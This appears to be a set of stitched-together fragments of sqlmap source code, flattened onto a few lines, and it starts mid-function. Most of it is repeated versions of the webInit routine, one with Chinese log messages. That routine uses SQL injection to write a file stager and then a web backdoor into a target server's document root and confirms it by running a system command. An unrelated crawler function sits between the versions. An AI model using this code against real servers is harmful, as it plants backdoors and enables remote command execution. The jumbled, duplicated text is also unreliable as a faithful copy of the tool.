self.webStagerUrl) logger.warn(warnMsg) continue infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' ('%s')" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webApi == "asp": runcmdName = "tmpe%s.exe" % randomStr(lowercase=True) runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName) match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName) backdoorStream.file.truncate() backdoorStream.read() backdoorStream.seek(0) backdoorStream.write(backdoorContent) if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip('/'), backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "with file stager probably because of " warnMsg += "lack of write permission." logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [y/N] " getOutput = readInput(message, default="N") if getOutput in ("y", "Y"): self.__webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = directory infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl logger.info(infoMsg) break
def webInit(self): """ 此方法用于在 web 服务器文档根目录中的可写远程目录中写入 web 后门 (代理)。 """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP message = u"Web服务器支持哪种Web应用程序语言?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("无效值,只允许使用数字") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("无效值,它必须介于1和%d之间" % len(choices)) else: self.webApi = choices[int(choice) - 1] break if not kb.absFilePaths: message = "你是否希望sqlmap进一步尝试引发完整的路径泄露? [Y/n] " if readInput(message, default='Y', boolean=True): headers = {} been = set([conf.url]) for match in re.finditer( r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): url = "%s%s" % (conf.url.replace( conf.path, match.group(4)), "wp-content/wp-db.php") if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url) if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place]) if "[]" in value: page, headers, _ = Request.queryPage( value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) cookie = None if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] elif headers and HTTP_HEADER.SET_COOKIE in headers: cookie = headers[HTTP_HEADER.SET_COOKIE] if cookie: value = re.sub( r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(oset(directories)) path = urlparse.urlparse(conf.url).path or '/' if path != '/': _ = [] for directory in directories: _.append(directory) if not directory.endswith(path): _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) directories = _ backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) stagerContent = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join( ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath( directory) and not directory.startswith('/'): directory = "/%s" % directory if not directory.endswith('/'): directory += '/' # 使用LIMIT 0,1 INTO DUMPFILE方法上传文件 infoMsg = u"尝试通过LIMIT'LINES TERMINATED BY'方法上传'%s'上的文件" % directory logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % ( conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "尝试查看该文件是否可以从'%s'访问" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # 退回到UNION查询文件上传方法 if not uploaded: warnMsg = "无法在'%s'中上传文件" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "尝试通过UNION方法将文件上传到'%s'上" % directory logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join( ntToPosixSlashes(directory), stagerName) handle, filename = tempfile.mkstemp() os.close(handle) with open(filename, "w+b") as f: _ = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) _ = _.replace( "WRITABLE_DIR", utf8encode( directory.replace('/', '\\\\') if Backend. isOs(OS.WINDOWS) else directory)) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % ( conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin( self.webBaseUrl, stagerName) debugMsg = "正在尝试查看文件是否可以从'%s'访问" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "文件stager上传在'%s', " % directory warnMsg += "但不动态解释" logger.warn(warnMsg) continue elif self.webApi == WEB_API.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult( EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult( VIEWSTATE_REGEX, uplPage) infoMsg = "文件stager已成功上传到'%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webApi == WEB_API.ASP: match = re.search( r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace( "WRITABLE_DIR", backdoorDirectory).replace( "RUNCMD_EXE", _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join( paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "后门没有通过file stager成功上传," warnMsg += "这可能是因为运行Web服务器进程的用户没有权限" warnMsg += "在运行DBMS进程的用户文件夹中上传文件,因为没有写入权限," warnMsg += "或者因为DBMS和Web服务位于不同的服务器上" logger.warn(warnMsg) message = "你想尝试使用与文件stager相同的方法? [Y/n] " if readInput(message, default='Y', boolean=True): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join( ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join( ntToPosixSlashes(directory), backdoorName) testStr = "命令执行测试" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "后门已经上传,但缺少运行系统命令的必需权限" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "后门已经成功 " else: infoMsg = "后门可能已经成功 " infoMsg += "上传到'%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) break
def crawlThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: if threadData.shared.unprocessed: current = threadData.shared.unprocessed.pop() if current in visited: continue elif conf.crawlExclude and re.search(conf.crawlExclude, current): dbgMsg = "skipping '%s'" % current logger.debug(dbgMsg) continue else: visited.add(current) else: break content = None try: if current: content = Request.getPage(url=current, crawling=True, raise404=False)[0] except SqlmapConnectionException as ex: errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg) except SqlmapSyntaxException: errMsg = "invalid URL detected. skipping '%s'" % current logger.critical(errMsg) except _http_client.InvalidURL as ex: errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg) if not kb.threadContinue: break if isinstance(content, six.text_type): try: match = re.search(r"(?si)<html[^>]*>(.+)</html>", content) if match: content = "<html>%s</html>" % match.group(1) soup = BeautifulSoup(content) tags = soup('a') tags += re.finditer(r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)', content) tags += re.finditer(r'(?i)window\.open\(["\'](?P<href>[^)"\']+)["\']', content) for tag in tags: href = tag.get("href") if hasattr(tag, "get") else tag.group("href") if href: if threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: current = threadData.lastRedirectURL[1] url = _urllib.parse.urljoin(current, htmlUnescape(href)) # flag to know if we are dealing with the same target host _ = checkSameHost(url, target) if conf.scope: if not re.search(conf.scope, url, re.I): continue elif not _: continue if (extractRegexResult(r"\A[^?]+\.(?P<result>\w+)(\?|\Z)", url) or "").lower() not in CRAWL_EXCLUDE_EXTENSIONS: with kb.locks.value: threadData.shared.deeper.add(url) if re.search(r"(.*?)\?(.+)", url) and not re.search(r"\?(v=)?\d+\Z", url) and not re.search(r"(?i)\.(js|css)(\?|\Z)", url): threadData.shared.value.add(url) except UnicodeEncodeError: # for non-HTML files pass except ValueError: # for non-valid links pass finally: if conf.forms: threadData.shared.formsFound |= len(findPageForms(content, current, False, True)) > 0 if conf.verbose in (1, 2): threadData.shared.count += 1 status = '%d/%d links visited (%d%%)' % (threadData.shared.count, threadData.shared.length, round(100.0 * threadData.shared.count / threadData.shared.length)) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True)
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break if not kb.absFilePaths: message = "do you want sqlmap to further try to " message += "provoke the full path disclosure? [Y/n] " if readInput(message, default='Y', boolean=True): headers = {} been = set([conf.url]) for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php") if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url) if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place]) if "[]" in value: page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) cookie = None if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] elif headers and HTTP_HEADER.SET_COOKIE in headers: cookie = headers[HTTP_HEADER.SET_COOKIE] if cookie: value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(oset(directories)) path = urlparse.urlparse(conf.url).path or '/' if path != '/': _ = [] for directory in directories: _.append(directory) if not directory.endswith(path): _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) directories = _ backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi)) for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): directory = "/%s" % directory if not directory.endswith('/'): directory += '/' # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION method" logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) handle, filename = tempfile.mkstemp() os.close(handle) with open(filename, "w+b") as f: _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi)) _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webApi == WEB_API.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webApi == WEB_API.ASP: match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " if readInput(message, default='Y', boolean=True): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "the backdoor has been uploaded but required privileges " warnMsg += "for running the system commands are missing" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) break